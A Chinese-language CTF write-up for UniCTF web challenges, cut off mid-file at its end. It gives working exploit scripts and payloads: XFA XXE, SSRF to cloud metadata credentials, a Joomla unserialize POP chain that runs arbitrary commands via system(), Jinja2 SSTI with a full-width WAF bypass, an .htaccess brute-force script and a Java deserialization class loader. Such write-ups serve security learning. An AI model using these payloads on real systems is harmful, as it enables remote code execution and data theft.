Huajiの小窝.

UniCTF web单方向wp

2026/02/03
loading

UniCTF web单方向wp

才发现哥几个都是懒勾,写脚本不写注释,下回得好好学学怎么写wp.

Web

secure doc

ai直出

解题思路(核心漏洞)

  • 该站点只解析 XFA 表单(XML),/upload 接收 PDF,/download/.txt 回显解析文本
  • XFA XML 解析未禁用外部实体 → XXE 文件读取
  • 通过在 XFA 中构造 <!ENTITY xxe SYSTEM "file:///flag">,即可回显 /flag 内容

Burp Suite + MCP 操作步骤(建议截图点)

  1. 抓包上传请求
    • 打开页面上传 PDF,Burp 抓到 POST /upload 的 multipart/form-data 请求
    • 截图要点:请求体包含 file 字段(PDF 二进制)
  2. 用 MCP 串联两步请求
    • Step 1:POST /upload(携带恶意 XFA PDF)
    • Step 2:GET /download/.txt
    • 用正则从 Step1 响应 JSON 中提取 file_id:
      • 正则示例:”file_id”:”([^”]+)”
    • 截图要点:MCP 变量提取 + Step2 URL 使用变量
  3. 验证与取旗
    • 先读 /etc/passwd 验证 XXE 可用
    • 再读 /flag,返回即为 flag
    • 截图要点:/download/… 响应中出现 flag

关键 XFA XXE 负载(嵌入 PDF 的 XML)

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xdp [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<xdp:xdp xmlns:xdp="[http://ns.adobe.com/xdp/](http://ns.adobe.com/xdp/)">
<xfa:datasets xmlns:xfa="[http://www.xfa.org/schema/xfa-data/1.0/](http://www.xfa.org/schema/xfa-data/1.0/)">
xfa:data&xxe;</xfa:data>
</xfa:datasets>
</xdp:xdp>

cloudDiag

解题思路

  • 入口在 /tasks/new 的 config_url,服务端会抓取并回显前 2KB,典型 SSRF。
  • 页脚提示 “instance roles”,说明有云实例角色可取;过滤器要求元数据走 metadata 主机且端口 1338。
  • 通过 http://metadata:1338/latest/meta-data/iam/security-credentials/ 拿到角色名,再取临时凭证。
  • 用凭证在 /explorer 列桶与对象,clouddiag-secrets 中直接有 flag 文件。

关键步骤(Burp MCP 思路)

命令示例(等效于 Burp 请求)

1) 取角色名

curl -s -b /tmp/cdiag_cookies.txt -d
‘config_url=http://metadata:1338/latest/meta-data/iam/security-credentials/&name=meta&parse_mode=auto
http://80-fb22f27b-435c-4337-87d8-478334f66622.challenge.ctfplus.cn/tasks/new

2) 取临时凭证(本次实测角色名)

curl -s -b /tmp/cdiag_cookies.txt -d
‘config_url=http://metadata:1338/latest/meta-data/iam/security-credentials/clouddiag-instance-
role&name=creds&parse_mode=auto’
http://80-fb22f27b-435c-4337-87d8-478334f66622.challenge.ctfplus.cn/tasks/new

3) 列桶

curl -s -b /tmp/cdiag_cookies.txt -d
‘access_key=AKIA002F193518034D3C&secret_key=d32907b3282e4e26924ce7f72dc021347d974d2fe78e4c7691e444efc208c031&session_t
oken=06bdedd4d10b4687a5dfa7afceba34d691307c4202ad463597c0ec7c175d810a’
http://80-fb22f27b-435c-4337-87d8-478334f66622.challenge.ctfplus.cn/explorer

4) 取对象

curl -s -b /tmp/cdiag_cookies.txt -d
‘access_key=AKIA002F193518034D3C&secret_key=d32907b3282e4e26924ce7f72dc021347d974d2fe78e4c7691e444efc208c031&session_t
oken=06bdedd4d10b4687a5dfa7afceba34d691307c4202ad463597c0ec7c175d810a&bucket=clouddiag-secrets&object_key=flags/
runtime/flag-0892b8c18d2546ada5362748a4e70fe4.txt’
http://80-fb22f27b-435c-4337-87d8-478334f66622.challenge.ctfplus.cn/explorer

Flag

UniCTF{2db72669-88bf-4359-b5fe-ad13810f7f50}

Bytecode Complier

解题思路

  • 首页提示 /api/fetch?url=…&token=…,并且 UI 只暴露 ECHO/LEN/HASH;真正的突破点在客户端协议实现 /bundle.js。
  • bundle.js 里给出了完整 packet 格式、opCode 编码和 FNV 校验。分发表有 4 个槽位(含内部诊断槽),而 flags 最高位为 1 时会走“兼
    容分发”逻辑。
  • 选用 opId=0(ECHO)但设置 flags=0x83(最高位为 1 + 低两位为 3),即可把分发索引打到内部诊断槽,直接拿到 token。
  • 用 token 调 /api/fetch 后端去抓 /internal/flag,拿到 flag。

Burp 操作步骤(不依赖“未知 MCP”,用官方机制/最佳实践)

  • 说明:我没在 Burp 官方文档里找到名为 MCP 的功能。Burp 里“多步请求/自动化”的官方能力通常是 Session handling rules +
    Macros(可在 Settings > Sessions 中配置)来在发送请求前自动执行一串请求并更新参数/会话。(portswigger.net (https://
    portswigger.net/burp/documentation/desktop/settings/sessions?utm_source=openai))
  1. 代理接入:浏览器走 Burp 代理,访问目标首页;在 Proxy history 里找到 /bundle.js,Send to Repeater。
  2. 协议复现:从 /bundle.js 提取 packet 格式与编码逻辑(WVLT 头、nonce、opCode 编码、FNV1a 校验)。
  3. 构造隐藏指令:用脚本生成一个 packet(opId=0, flags=0x83),在 Repeater 中 POST /api/vm:
    • Content-Type: application/json
    • Body:{“packet_b64”:”<生成的base64>”}
    • 返回里会给 token。
  4. 后端拉取 flag:用 Repeater GET:

命令示例(可直接生成 packet,配合 Burp 或 curl)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// node gen.js
const crypto = require('crypto');

const K = [0x1c,0x2d,0x3e,0x40,0xa5,0xb6,0xc7,0xd8,0x24,0x68,0xac,0xe0];
const K1 = ((K[0]<<24)|(K[1]<<16)|(K[2]<<8)|K[3])>>>0;
const K2 = ((K[4]<<24)|(K[5]<<16)|(K[6]<<8)|K[7])>>>0;
const K3 = ((K[8]<<24)|(K[9]<<16)|(K[10]<<8)|K[11])>>>0;
const ROT = 11;

const rotl32 = (v,s)=>((v<<s)|(v>>>(32-s)))>>>0;
const encodeOp = (opId, nonceLow32)=>{
const rot = (rotl32((nonceLow32 ^ K2)>>>0, ROT) & 0xfffffffc)>>>0;
const base = ((opId ^ K1) + rot)>>>0;
return ((base ^ K3) | 0x80000000)>>>0;
};
const fnv1a32 = (bytes)=>{
let h = 0x811c9dc5;
for (const b of bytes){ h ^= b; h = (h * 0x01000193)>>>0; } // JS精度行为
return h>>>0;
};
const u32le = v=>[v&0xff,(v>>>8)&0xff,(v>>>16)&0xff,(v>>>24)&0xff];
const u16le = v=>[v&0xff,(v>>>8)&0xff];

function buildPacket(ops, flags=0x83){
const enc = new TextEncoder();
const nonce = crypto.randomBytes(8);
const nonceLow32 = new DataView(nonce.buffer, nonce.byteOffset, nonce.byteLength).getUint32(0,true);
const chunks = [];
chunks.push(...enc.encode('WVLT'));
chunks.push(0x01);
chunks.push(...nonce);
chunks.push(ops.length & 0xff);
for (const [opId, arg] of ops){
const argBytes = enc.encode(arg);
const opCode = encodeOp(opId, nonceLow32);
chunks.push(...u32le(opCode));
chunks.push(flags & 0xff);
chunks.push(...u16le(argBytes.length));
chunks.push(...argBytes);
}
const body = Uint8Array.from(chunks);
const checksum = fnv1a32(body);
const pkt = new Uint8Array(body.length + 4);
pkt.set(body,0); pkt.set(u32le(checksum), body.length);
return Buffer.from(pkt).toString('base64');
}

console.log(buildPacket([[0, 'test']], 0x83));

示例 curl(你也可以把 base64 放进 Burp Repeater 发):

1) /api/vm

curl -s -X POST
-H ‘Content-Type: application/json’
-d ‘{“packet_b64”:”<上面脚本输出>”}’
http://80-a62269aa-3142-40ac-9145-ed2f2c20e404.challenge.ctfplus.cn/api/vm

2) /api/fetch 取 flag

curl -s
http://80-a62269aa-3142-40ac-9145-ed2f2c20e404.challenge.ctfplus.cn/api/fetch?url=http://127.0.0.1/internal/flag&token=you-got-me-baby-where-is-my-bytecode’

结果

  • token:you-got-me-baby-where-is-my-bytecode
  • flag:UniCTF{68e4ef12-b019-49c6-9a0b-ba17c6fcb7a4}

一键脚本:node 1.js url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
   // exploit.js
  const http = require('http');
  const https = require('https');
  const crypto = require('crypto');
 
  const TARGET = process.argv[2] || 'http://80-a62269aa-3142-40ac-9145-ed2f2c20e404.challenge.ctfplus.cn/';
 
  const K = [0x1c, 0x2d, 0x3e, 0x40, 0xa5, 0xb6, 0xc7, 0xd8, 0x24, 0x68, 0xac, 0xe0];
  const K1 = ((K[0] << 24) | (K[1] << 16) | (K[2] << 8) | K[3]) >>> 0;
  const K2 = ((K[4] << 24) | (K[5] << 16) | (K[6] << 8) | K[7]) >>> 0;
  const K3 = ((K[8] << 24) | (K[9] << 16) | (K[10] << 8) | K[11]) >>> 0;
  const ROT = 11;
 
  function rotl32(value, shift) {
    return ((value << shift) | (value >>> (32 - shift))) >>> 0;
  }
  function encodeOp(opId, nonceLow32) {
    const rot = (rotl32((nonceLow32 ^ K2) >>> 0, ROT) & 0xfffffffc) >>> 0;
    const base = ((opId ^ K1) + rot) >>> 0;
    return ((base ^ K3) | 0x80000000) >>> 0;
  }
  function fnv1a32(bytes) {
    let hash = 0x811c9dc5;
    for (let i = 0; i < bytes.length; i += 1) {
      hash ^= bytes[i];
      hash = (hash * 0x01000193) >>> 0;
    }
    return hash >>> 0;
  }
  function u32le(v) { return [v & 0xff, (v >>> 8) & 0xff, (v >>> 16) & 0xff, (v >>> 24) & 0xff]; }
  function u16le(v) { return [v & 0xff, (v >>> 8) & 0xff]; }
 
  function buildPacket(ops, flags = 0x83) {
    const encoder = new TextEncoder();
    const nonce = crypto.randomBytes(8);
    const nonceLow32 = new DataView(nonce.buffer, nonce.byteOffset, nonce.byteLength).getUint32(0, true);
 
    const chunks = [];
    chunks.push(...encoder.encode('WVLT'));
    chunks.push(0x01);
    chunks.push(...nonce);
    chunks.push(ops.length & 0xff);
 
    for (const [opId, arg] of ops) {
      const argBytes = encoder.encode(arg);
      const opCode = encodeOp(opId, nonceLow32);
      chunks.push(...u32le(opCode));
      chunks.push(flags & 0xff);
      chunks.push(...u16le(argBytes.length));
      chunks.push(...argBytes);
    }
 
    const body = Uint8Array.from(chunks);
    const checksum = fnv1a32(body);
    const packet = new Uint8Array(body.length + 4);
    packet.set(body, 0);
    packet.set(u32le(checksum), body.length);
    return Buffer.from(packet).toString('base64');
  }
 
  function request(method, path, body) {
    const url = new URL(path, TARGET);
    const client = url.protocol === 'https:' ? https : http;
    const data = body ? Buffer.from(body) : null;
 
    const opts = {
      method,
      hostname: url.hostname,
      port: url.port || (url.protocol === 'https:' ? 443 : 80),
      path: url.pathname + url.search,
      headers: data ? {
        'Content-Type': 'application/json',
        'Content-Length': data.length
      } : {}
    };
 
    return new Promise((resolve, reject) => {
      const req = client.request(opts, (res) => {
        let buf = '';
        res.on('data', (c) => buf += c);
        res.on('end', () => resolve({ status: res.statusCode, body: buf }));
      });
      req.on('error', reject);
      if (data) req.write(data);
      req.end();
    });
  }
 
  (async () => {
    // 1) 打进隐藏分发表(flags=0x83)
    const packet_b64 = buildPacket([[0, 'probe']], 0x83);
    const vmRes = await request('POST', '/api/vm', JSON.stringify({ packet_b64 }));
    const vmJson = JSON.parse(vmRes.body || '{}');
    if (!vmJson.ok) throw new Error('vm error: ' + (vmJson.error || vmRes.body));
 
    const output = vmJson.output_utf8 || '';
    const token = output.startsWith('token:') ? output.slice('token:'.length) : output;
    if (!token) throw new Error('token not found: ' + output);
 
    // 2) 用 token 访问 internal flag
    const fetchPath = `/api/fetch?url=${encodeURIComponent('http://127.0.0.1/internal/flag')}&token=${encodeURIComponent(token)}
  `;
    const fetchRes = await request('GET', fetchPath);
    const fetchJson = JSON.parse(fetchRes.body || '{}');
 
    console.log('token:', token);
    console.log('flag:', fetchJson.body || fetchRes.body);
  })().catch((e) => {
    console.error('failed:', e.message);
  });

一鸣唱吧

疑似非预期,ai扫出来的,http://80-a54ecc99-5e27-4291-aa21-471cb328ae88.challenge.ctfplus.cn/uploads/UNiCTF202638.php

ezUpload

  1. 上传 .htaccess
  • 在 Proxy 抓包上传任意文件时,改 filename=.htaccess,内容如下(不要加引号/反斜杠):
1
 Header set X-Flag expr=%{osenv:FLAG}
  • 注意:禁止字符 ? $ & ; | \ <`,上面的内容不包含这些字符,可通过。
  1. 触发并读取响应头
  • 再上传一个普通文件(比如 a.txt),系统返回路径 /upload/a.txt
  • 用 Repeater 访问 /upload/a.txt,在 Response → Headers 中看到:
    X-Flag: UniCTF{sh1z1_4999857e-f8b0-40d9-9c59-05cd9c36795e}

ezUpload Revenge!!

  1. 上传两个基准文件
    • niubi.txt 内容 niubi
    • true.txt 内容 Success
  2. 上传 .htaccess 设置重写规则
    • 当 file(‘/flag’) 以某个前缀匹配时,重写到 true.txt
    • 否则返回 test.txt
  3. 通过请求 /upload/test.txt 观察返回内容
    • Success → 前缀正确
    • hello → 前缀错误
  4. 用前缀爆破逐字符枚举 flag。

RewriteEngine On
RewriteCond expr “file(‘/flag’) =~ m#^UniCTF[{]#”
RewriteRule ^test[.]txt true.txt [L]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python3
import os
import sys
import time
import uuid
import socket
import urllib.request
from urllib.error import HTTPError, URLError

BASE_URL = "http://80-57f3480e-01e2-4751-b923-0597cc0505ed.challenge.ctfplus.cn/"
FLAG_PATH = "/flag"
PROGRESS = "flag_progress.txt"
START_PREFIX = "UniCTF{"
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789_}ABCDEFGHIJKLMNOPQRSTUVWXYZ-"
SLEEP = 0.05

def upload_file(filename, content):
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex
body = []
body.append(f"--{boundary}")
body.append(f'Content-Disposition: form-data; name="file"; filename="{filename}"')
body.append("Content-Type: application/octet-stream")
body.append("")
body.append(content)
body.append(f"--{boundary}--")
data = "\r\n".join(body).encode()
req = urllib.request.Request(BASE_URL, data=data)
req.add_header("Content-Type", f"multipart/form-data; boundary={boundary}")
req.add_header("Content-Length", str(len(data)))
with urllib.request.urlopen(req, timeout=10) as r:
r.read()

def fetch_text(url):
with urllib.request.urlopen(url, timeout=10) as r:
return r.read().decode("utf-8", errors="ignore")

def regex_escape(s):
meta = set("[](){}.^$|?*+")
out = []
for c in s:
if c == "-":
out.append("[-]")
elif c == "]":
out.append("[]]")
elif c in meta:
out.append(f"[{c}]")
else:
out.append(c)
return "".join(out)

def make_htaccess(prefix):
regex = "^" + regex_escape(prefix)
return (
"RewriteEngine On\n"
f"RewriteCond expr \"file('{FLAG_PATH}') =~ m#{regex}#\"\n"
"RewriteRule ^test[.]txt true.txt [L]\n"
)

def is_true():
return "Success" in fetch_text(BASE_URL + "upload/niubi.txt")

def test_prefix(prefix):
ht = make_htaccess(prefix)
for _ in range(3):
try:
upload_file(".htaccess", ht)
break
except (HTTPError, URLError, socket.timeout):
time.sleep(0.2)
return is_true()

def main():
# 准备侧信道文件
upload_file("niubi.txt", "niubi")
upload_file("true.txt", "success")

prefix = START_PREFIX
if os.path.exists(PROGRESS):
saved = open(PROGRESS, "r", encoding="utf-8").read().strip()
if saved:
prefix = saved

if not test_prefix(prefix):
print("prefix not valid; check START_PREFIX / FLAG_PATH", file=sys.stderr)
sys.exit(1)

while True:
found = False
for ch in CHARSET:
try:
if test_prefix(prefix + ch):
prefix += ch
with open(PROGRESS, "w", encoding="utf-8") as f:
f.write(prefix)
print(prefix)
found = True
if ch == "}":
print("DONE", prefix)
return
break
except (HTTPError, URLError, socket.timeout):
time.sleep(0.2)
continue
time.sleep(SLEEP)
if not found:
print("No next char found. Current:", prefix, file=sys.stderr)
return

if __name__ == "__main__":
main()

Joomla Revenge!

核心漏洞与链子

  • unser.php 对 $_POST[‘unser’] 做 base64_decode 后两次 unserialize,且黑名单只拦 WebAssetManager|HtmlDocument,可对象注入。
  • 可用 POP 链(简单、稳定):
    1. Joomla\Database\Mysqli\MysqliDriver::__destruct()
    2. DatabaseDriver::disconnect() → dispatchEvent()
    3. Joomla\Event\Dispatcher::dispatch()
    4. Joomla\Event\LazyServiceEventListener::__invoke()
    5. Joomla\DI\Container::get() → Joomla\DI\ContainerResource::getInstance()
    6. ContainerResource::$factory = ‘system’,并传入可 __toString 的对象作为参数
    7. 这里用 Symfony\Component\String\LazyString 保存命令字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
import base64
import sys
from dataclasses import dataclass

try:
import requests # type: ignore
except Exception:
requests = None

@dataclass
class Obj:
class_name: str
props: dict

def _s(data: bytes) -> bytes:
return b's:%d:"' % len(data) + data + b'";'

def _i(n: int) -> bytes:
return b'i:%d;' % n

def _b(v: bool) -> bytes:
return b'b:1;' if v else b'b:0;'

def _n() -> bytes:
return b'N;'

def _a(items: list) -> bytes:
out = b'a:%d:{' % len(items)
for k, v in items:
out += serialize(k)
out += serialize(v)
out += b'}'
return out

def serialize(obj):
if isinstance(obj, Obj):
cname = obj.class_name.encode('utf-8')
props_items = list(obj.props.items())
out = b'O:%d:"' % len(cname) + cname + b'":%d:{' % len(props_items)
for k, v in props_items:
if not isinstance(k, (str, bytes)):
raise TypeError('property name must be str/bytes')
k_bytes = k if isinstance(k, bytes) else k.encode('utf-8')
out += _s(k_bytes)
out += serialize(v)
out += b'}'
return out
if obj is None:
return _n()
if isinstance(obj, bool):
return _b(obj)
if isinstance(obj, int):
return _i(obj)
if isinstance(obj, bytes):
return _s(obj)
if isinstance(obj, str):
return _s(obj.encode('utf-8'))
if isinstance(obj, list):
items = [(i, v) for i, v in enumerate(obj)]
return _a(items)
if isinstance(obj, dict):
items = list(obj.items())
return _a(items)
raise TypeError(f'unsupported type: {type(obj)}')

def priv(cls: str, prop: str) -> str:
return f"\x00{cls}\x00{prop}"

def prot(prop: str) -> str:
return f"\x00*\x00{prop}"

def build_payload(cmd: str) -> bytes:
# Symfony\Component\String\LazyString with private $value = cmd
lazy = Obj(
'Symfony\\Component\\String\\LazyString',
{
priv('Symfony\\Component\\String\\LazyString', 'value'): cmd,
},
)

# Joomla\DI\ContainerResource with private $container = lazy, $factory = 'system'
res = Obj(
'Joomla\\DI\\ContainerResource',
{
priv('Joomla\\DI\\ContainerResource', 'container'): lazy,
priv('Joomla\\DI\\ContainerResource', 'instance'): None,
priv('Joomla\\DI\\ContainerResource', 'factory'): 'system',
priv('Joomla\\DI\\ContainerResource', 'shared'): False,
priv('Joomla\\DI\\ContainerResource', 'protected'): False,
},
)

# Joomla\DI\Container with protected $resources['svc'] = res
container = Obj(
'Joomla\\DI\\Container',
{
prot('aliases'): {},
prot('resources'): {'svc': res},
prot('parent'): None,
prot('tags'): {},
},
)

# Joomla\Event\LazyServiceEventListener
listener = Obj(
'Joomla\\Event\\LazyServiceEventListener',
{
priv('Joomla\\Event\\LazyServiceEventListener', 'container'): container,
priv('Joomla\\Event\\LazyServiceEventListener', 'serviceId'): 'svc',
priv('Joomla\\Event\\LazyServiceEventListener', 'method'): '',
},
)

# Joomla\Event\ListenersPriorityQueue with private $listeners
lpq = Obj(
'Joomla\\Event\\ListenersPriorityQueue',
{
priv('Joomla\\Event\\ListenersPriorityQueue', 'listeners'): {0: [listener]},
},
)

# Joomla\Event\Dispatcher with protected $listeners
dispatcher = Obj(
'Joomla\\Event\\Dispatcher',
{
prot('events'): {},
prot('listeners'): {'onAfterDisconnect': lpq},
},
)

# Joomla\Database\Mysqli\MysqliDriver with private $dispatcher (from DatabaseDriver)
driver = Obj(
'Joomla\\Database\\Mysqli\\MysqliDriver',
{
priv('Joomla\\Database\\DatabaseDriver', 'dispatcher'): dispatcher,
prot('connection'): None,
prot('statement'): None,
},
)

return serialize(driver)

def main():
if len(sys.argv) < 2:
print('Usage: python build_payload.py <cmd> [url]')
print(' or: python build_payload.py --url <url> -- <cmd...>')
return

url = None
args = sys.argv[1:]

if '--url' in args:
idx = args.index('--url')
if idx + 1 >= len(args):
print('missing url after --url')
return
url = args[idx + 1]
args = args[:idx] + args[idx + 2 :]

if '--' in args:
idx = args.index('--')
cmd_parts = args[idx + 1 :]
args = args[:idx]
if not cmd_parts:
print('missing cmd after --')
return
cmd = ' '.join(cmd_parts)
else:
cmd = args[0]
if len(args) > 1 and url is None:
url = args[1]

payload = build_payload(cmd)
b64 = base64.b64encode(payload).decode()
print('b64:', b64)

if url:
if requests is None:
print('requests not available')
return
resp = requests.post(url.rstrip('/') + '/unser.php', data={'unser': b64}, timeout=15)
print('status:', resp.status_code)
print(resp.text)

if __name__ == '__main__':
main()

然后env拿到flag

UNICTF_FLAG=UniCTF{7d991591-3c26-4429-ae21-1ad79e165959}

GlyphWeaver

  • 站点是卡片渲染器(Jinja2),/api/preview 只渲染一次,不会执行变量里的模板语法。
  • export 管线会二次渲染:第一次把用户输入拼进 HTML,第二次把整段 HTML 当模板再渲染 → 触发 SSTI。
  • WAF 阻断 {{__,但服务端会做 NFKC 规范化,所以用全角字符绕过 → 规范化后变回 ASCII。
  • display_name 长度只有 24,不够放 payload,所以把 payload 放在 motto(最长 160)。

关键验证

1
2
 1. 用全角大括号绕过 WAF:{{7*7}}(NFKC 后变成 {{7*7}})
 2. export 任务结果里出现 49,证明二次渲染成立。

最终利用(命令示例)
下面这段脚本会:构造全角 payload → 发送 /api/export → 轮询 /api/task/ → 在 HTML 里读到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  import json,urllib.request,time
 
  base='http://5000-69d6a2e9-6131-4f5f-889f-7ecfb3792263.challenge.ctfplus.cn'
  def to_fullwidth(s):
      return ''.join(chr(ord(c)+0xFEE0) if 0x21<=ord(c)<=0x7E else c for c in s)
 
  expr="{{cycler.__init__.__globals__['__builtins__']['open']('/flag').read()}}"
  fw=to_fullwidth(expr)
 
  body={'template_id':'classic','display_name':'A','title':'t','motto':fw,'footer':'f'}
  req=urllib.request.Request(base+'/api/export', data=json.dumps(body,ensure_ascii=False).encode('utf-8'),
                              headers={'Content-Type':'application/json'})
  res=json.loads(urllib.request.urlopen(req).read().decode())
  task_id=res['taskId']
  • Repeater 再 GET /api/task/,在响应 HTML 的 data-motto 中取 flag。
  • 全角化处理可在 Burp 中手动输入,或先用上面脚本生成后复制进 Burp。

截图说明(你可在 Burp 中截取)

  • 截图1:/api/export 返回 taskId 的响应。
  • 截图2:/api/task/ 响应中 data-motto=”UniCTF{…}” 的位置。
  • 截图3:日志里出现 normalize: NFKC applied(证明全角绕过生效)。

intrasight

拿到 flag 了:UniCTF{de004cfd-54fc-4490-a0da-772745d740a0}

解题思路(精简版)

  • /fetch 是 SSRF 入口,可访问内网服务。
  • 内网 admin_panel 在 127.0.0.1:8001,/redirect_ws 返回到内网 WS 的 token。
  • WS 服务在 127.0.0.1:9000/ws,需要:
  • WS 协议支持 render 动作,模板是 Jinja2,可 SSTI 读 /flag。

关键请求(可直接复现)

  1. 取 token(看 JSON 的 history[0].location):
1
curl -s "http://80-252298d6-1662-474e-bd9e-bad117d0b262.challenge.ctfplus.cn/fetch?url=http://127.0.0.1:8001/redirect_ws"
  1. WS 渲染验证(49):
1
2
3
4
5
curl -s -X POST \
-H "Origin: [http://127.0.0.1](http://127.0.0.1/)" \
-H "X-Internal-Token: <token>" \
-d '{"action":"render","template":"{{7*7}}","context":{}}' \
"[http://80-252298d6-1662-474e-bd9e-bad117d0b262.challenge.ctfplus.cn/fetch?url=ws://127.0.0.1:9000/ws?token=](http://80-252298d6-1662-474e-bd9e-bad117d0b262.challenge.ctfplus.cn/fetch?url=ws://127.0.0.1:9000/ws?token=)<token>"
  1. 读 flag:
1
2
3
4
5
6
curl -s -X POST \
-H "Origin: [http://127.0.0.1](http://127.0.0.1/)" \
-H "X-Internal-Token: <token>" \
-d '{"action":"render","template":"{{ cycler.**init**.**globals**["**builtins**"](https://www.notion.so/UniCTF-WP-2f7744a554888061ad06cd2a75c8e8de?pvs=21)("/
flag").read() }}","context":{}}' \
"http://80-252298d6-1662-474e-bd9e-bad117d0b262.challenge.ctfplus.cn/fetch?url=ws://127.0.0.1:9000/ws?token=<token>"

Burp Suite MCP 思路(两步链)

  1. Request 1:GET /fetch?url=http://127.0.0.1:8001/redirect_ws
    • 用 MCP 提取 location 里的 token=…
  2. Request 2:POST /fetch?url=ws://127.0.0.1:9000/ws?token=
    • Header:Origin: http://127.0.0.1
    • Header:X-Internal-Token:
    • Body:Jinja2 SSTI 模板读 /flag

ezjava

解题思路

  • 反编译发现只有两个关键入口:/ 给出提示,/api/user/settings/import 处理 Base64 二进制包。
  • importSettings 逻辑:readUTF 读取 identity、readInt 读取 version、随后 readObject 反序列化对象;通过 logger.info(…, obj) 触发 obj.toString()。
  • ConfigDataWrapper.toString() 在 sign == “ready” 且 ClassByte != null 时,会对字节异或 0xFF 后调用 ClassLoader#defineClass,并 newInstance()。
  • 利用点:构造一个 ConfigDataWrapper,塞入“异或过的 Exploit.class”,在构造函数里读取 flag,并把 flag 写进当前响应头/响应体。

Exploit.java:反射拿到 HttpServletResponse,写 X-Flag 与响应体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.InputStreamReader;
 import java.nio.charset.StandardCharsets;
 import java.util.Base64;
 
 public class Exploit {
    public Exploit() throws Exception {
        Thread.sleep(3000);
        String flag = readFlag();
        if (flag == null || flag.isEmpty()) {
            flag = "NOFLAG";
        }
 
        try {
            String b64 = Base64.getEncoder().encodeToString(flag.getBytes(StandardCharsets.UTF_8));
            Object resp = null;
 
            // Spring RequestContextHolder
            try {
                Class<?> holder = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                Object attrs = holder.getMethod("getRequestAttributes").invoke(null);
                if (attrs != null) {
                    Class<?> sra = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                    if (sra.isInstance(attrs)) {
                        resp = sra.getMethod("getResponse").invoke(attrs);
                    }
                }
            } catch (Throwable ignored) {
            }
 
            // Tomcat ApplicationFilterChain fallback
            if (resp == null) {
                try {
                    Class<?> afc = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
                    try {
                        resp = afc.getMethod("getLastServicedResponse").invoke(null);
                    } catch (NoSuchMethodException nsme) {
                        java.lang.reflect.Field f = afc.getDeclaredField("lastServicedResponse");
                        f.setAccessible(true);
                        Object tl = f.get(null);
                        if (tl instanceof ThreadLocal) {
                            resp = ((ThreadLocal<?>) tl).get();
                        }
                    }
                } catch (Throwable ignored) {
                }
            }
 
            if (resp != null) {
                try {
                    Class<?> respClass = Class.forName("javax.servlet.http.HttpServletResponse");
                    respClass.getMethod("setHeader", String.class, String.class).invoke(resp, "X-Flag", flag);
                    respClass.getMethod("setHeader", String.class, String.class).invoke(resp, "X-Flag-B64", b64);
                } catch (Throwable ignored) {
                }
                try {
                    Class<?> respClass = Class.forName("javax.servlet.ServletResponse");
                    Object writer = respClass.getMethod("getWriter").invoke(resp);
                    writer.getClass().getMethod("write", String.class).invoke(writer, "FLAG:" + flag + "\n");
                    writer.getClass().getMethod("flush").invoke(writer);
                } catch (Throwable ignored) {
                }
            }
        } catch (Throwable ignored) {
        }
    }
 
    private String readFlag() {
        String[] paths = new String[] {
            "/flag",
            "/flag.txt",
            "/app/flag",
            "/app/flag.txt",
            "/home/ctf/flag",
            "/home/ctf/flag.txt"
        };
 
        for (String p : paths) {
            try {
                File f = new File(p);
                if (!f.exists() || !f.isFile()) {
                    continue;
                }
                try (BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(f), StandardCharsets.UTF_8))) {
                    String line = br.readLine();
                    if (line != null && !line.isEmpty()) {
                        return line;
                    }
                }
            } catch (Exception ignored) {
            }
        }
 
        String flag = System.getenv("FLAG");
        if (flag != null && !flag.isEmpty()) {
            return flag;
        }
        flag = System.getProperty("flag");
        if (flag != null && !flag.isEmpty()) {
            return flag;
        }
        return "";
    }
 }
 

MakePayloadCfg.java:构造满足 readUTF/readInt/readObject 的流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 import com.unictf.ctf.tools.ConfigDataWrapper;
 import java.io.ByteArrayOutputStream;
 import java.io.ObjectOutputStream;
